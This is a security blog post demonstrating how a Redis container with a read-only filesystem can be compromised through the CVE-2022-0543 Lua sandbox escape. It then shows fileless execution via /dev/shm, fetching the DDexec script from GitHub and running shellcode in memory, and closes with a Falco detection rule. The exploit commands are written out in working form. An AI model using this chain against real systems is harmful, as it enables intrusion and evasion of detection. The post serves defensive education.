Compromising Read-Only Containers with Fileless Malware

NEW!! June 14 | FIND, FOCUS, and FIX the Cloud Threats that Matter with Accenture, AWS, Expel, Snyk, Sysdig and SANS

Containers provide a number of security features that are not simply available on a normal host. One of those is the ability to make the container’s root filesystem read-only. By making the file system unable to be altered, it prevents an attacker from writing their malware executable to disk. Most attacks rely on writing files in order to work, but sophisticated cases use fileless malware as part of their malicious behavior. It’s also important to prevent legitimate applications from being affected, so some care must be taken.

Fileless Malware Redis

Many people see read-only filesystems as a catch-all to stop malicious activity and container drift in containerized environments. This blog will explore the mechanics and prevalence of malware fileless execution in attacking read-only containerized environments.

According to BridgeCrew’s Kubernetes documentation:

Using an immutable root filesystem and a verified boot mechanism prevents attackers from ‘owning’ the machine through permanent local changes. An immutable root filesystem can also prevent malicious binaries from writing to the host system.”

We will demonstrate a way to attack a container with a read-only root filesystem, and we find it fitting to attack the in-memory data store with fileless malware that executes in-memory. Let’s begin!

Setting the scene

Our target environment is a vulnerable, minimal (coreutils + redis) Redis Docker image (vulhub/redis:5.0.7), making sure to pass the --read-only flag to ensure that we remain fileless in our attack.

On Kubernetes, this can be set via spec:containers:securityContext:readOnlyRootFilesystem:true.

Redis read-only fileless malware

The Redis service in question is vulnerable to CVE-2022-0543, a Lua sandbox escape. According to the CVSS system, it scores 10.0 as CRITICAL severity.

To learn more about how a vulnerability score is calculated, Are Vulnerability Scores Tricking You? Understanding the severity of CVSS and using them effectively

Redis ships with the ability to evaluate Lua scripts on the server-side via the ‘eval’ command. CVE-2022-0543 allows an attacker to escape the sandbox that the Lua code normally executes inside of, which makes it trivial to execute shell commands directly on the host. The Lua sandbox escape is executed when the attacker loads the liblua5.1.so.0 Shared Object file (that exists in the Redis host filesystem), giving access to the host.

The CVE-2022-0543 comes with a proof-of-concept (PoC) exploit that we will test via redis-cli.

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); 
local io = io_l();
local f = io.popen("id", "r"); -- this is our shell command to execute on the host
local res = f:read("*a"); f:close(); return res' 0

Testing our PoC below on the vulnerable container, it abuses the Lua sandbox escape to run the shell command id.

Redis cve lua command injection fileless malware

Attacking Redis without touching the disk

First, let’s verify that we are indeed forced to operate without creating ANY new files on the system. We’ll use touch to try to create a file, and then ls to verify that it does or does not exist.

local f = io.popen("touch", "/tmp/abc123"); -- this is our shell command to create the file on the host
local f = io.popen("ls", "/tmp/"); -- this is our shell command to list the file on the host

Fileless malware redis touch file

Fileless malware write not allow read-only

We can see that our touch attempt was unsuccessful, There is no file /tmp/abc123, despite our best efforts.

Fileless Malware – GTFObins and LOLBins

In the world of anti-forensics, preventing your malicious code from ever touching disk can be an effective way of hiding it from a subsequent investigation. Disk forensics isn’t very helpful if a program is never written to the disk in the first place. It would still be vulnerable to memory forensics, of course. On both Windows and Linux, there exist fileless malware that store an executable in memory and execute it by doing a little extra effort.

In the Windows arena, LOLBins (Living off the Land Binaries) have been used for years in order to stealthily achieve an attacker’s goals (whether they be persistence, execution, remote access, etc.). These are Microsoft-signed files, either native to the OS or downloaded from Microsoft, that have extra “unexpected” functionality. They have legitimate uses, but can also be leveraged by an attacker.

For example, certutils.exe can be used by an attacker to download malware. Linux has similar installed tools, GTFObins, but for the purposes of this article, we will use an advanced example.

As early as 2004, fileless malware techniques were publicly released, targeting Linux systems (userland exec (grugq), Linux code injection without ptrace). More recently, Spanish researcher arget13 shared DDexec, their take on code injection, via the commonly available Linux LOLBin (installed by default as part of GNU coreutils) dd. We’ll use ddexec to ensure payload execution without touching the disk (with a bonus side-effect of not revealing the process name).

Now what? How do we get our “malicious” code onto the target?

/dev/shm to the rescue!

Enter: shm! Sh-what? Shm (A typically brief Linux Kernel developer acronym for shared memory)! From cyberciti.biz:

shm / shmfs is also known as tmpfs, which is a common name for a temporary file storage facility on many Unix-like operating systems. It is intended to appear as a mounted file system, but one which uses virtual memory instead of a persistent storage device.

Okay, well how do we use it? It’s simple. GNU coreutils ships with mktemp, which is all we need to get started. We can use mktemp’s -p flag to tell it to make a temporary file in /dev/shm.

Let’s do so, and verify that our “file” is serving its purpose. We’ll change the shell command(s) inside our exploit from id to:

TMPFILE=$(mktemp -p /dev/shm);
echo "derp" > $TMPFILE;
cat $TMPFILE

shm fileless malware technique

Thanks to tmpfs and shm, we are able to create “files” inside a container that has a read-only filesystem!

Fileless malware diagram

Let’s get this exploit rolling.

  • First, we’ll create two temp files. One to store the script (ddsc.sh, part of the DDexec repository, which allows executing arbitrary shellcode in-memory), and one to store shellcode (we need a separate file for the shellcode because ddsc.sh expects to take input from a file).
  • Then, we’ll download our script to the first tempfile from GitHub using wget, and use echo to write our shellcode to the second. For the proof-of-concept exploit, we will use shellcode that simply prints “Hello world\n” to standard out.
DDEXEC=$(mktemp -p /dev/shm) SHELLCODE=$(mktemp -p /dev/shm); 
wget -O  -  https://raw.githubusercontent.com/arget13/DDexec/main/ddsc.sh > $DDEXEC; 
echo \"4831c0fec089c7488d3510000000ba0c0000000f054831c089c7b03c0f0548656c6c6f20776f726c640a00\" > $SHELLCODE; 
bash $DDEXEC -x < $SHELLCODE

Exploit shellcode with fileless malware

Success! We have:

  • Deployed our Redis exploit
  • Written our script and shellcode to two temporary files
  • Used bash to execute our script, giving the shellcode as input
  • Evaded multiple defenses and detections (MITRE T1211) – the process listing (ps) and the read-only filesystem

Detection in-memory attacks with Falco

Even with the –read-only protection flag, we demonstrate how attackers can find new ways of exploitation using fileless malware techniques. But obviously, all is not lost. There are key elements that can help detect this malicious behavior. Let’s see how to implement this detection with Falco.

Falco is the CNCF open-source project, used to detect unexpected application behavior and send alerts at runtime.

You can leverage its powerful and flexible rules language to match suspicious behaviors in order to generate event alerts. It comes with a predefined set of rules, but you can also customize them or create new ones that fit your needs as you want.

The following is an example Falco rule that will detect the above technique used to subvert a read-only root filesystem.

- rule: Execution from /dev/shm
  desc: This rule detects file execution from the /dev/shm directory, a common location for threat actors to stash their readable + writable + (sometimes) executable files.
  condition: evt.type=execve and evt.dir=< and ((proc.exe startswith '/dev/shm' or (proc.cwd startswith /dev/shm and proc.exe startswith ./ )) or (proc.name in (ash,zsh,bash,sh,fish) and proc.args contains "/dev/shm"))
  output: "File execution detected from /dev/shm (proc.cmdline=%proc.cmdline image=%container.image.repository)"
  priority: WARNING
  tags: [mitre_execution]

With this new Falco rule loaded, we are now able to detect the execution of a file from /dev/shm and generate an alert.

Falco alert shm fileless malware

Conclusion

We’ve demonstrated that containers running with their root filesystem set to read-only can be just as vulnerable as those without. A read-only file system will not provide adequate protection to mitigate all vulnerabilities exploited via fileless malware techniques.

Thanks to /dev/shm, we are able to make “files” backed by memory instead of disk space that we can use to download additional malware and further compromise the system. If you are running vulnerable containers as identified by one of the many vulnerability scanners now available, please patch them as soon as possible.


If you would like to find out more about Falco:

Stay up to date

Sign up to receive our newest.

Related Posts

Are vulnerability scores misleading you? Understanding CVSS severity and using them effectively

Triaging a Malicious Docker Container

Vulnerable AWS Lambda function – Initial access in cloud attacks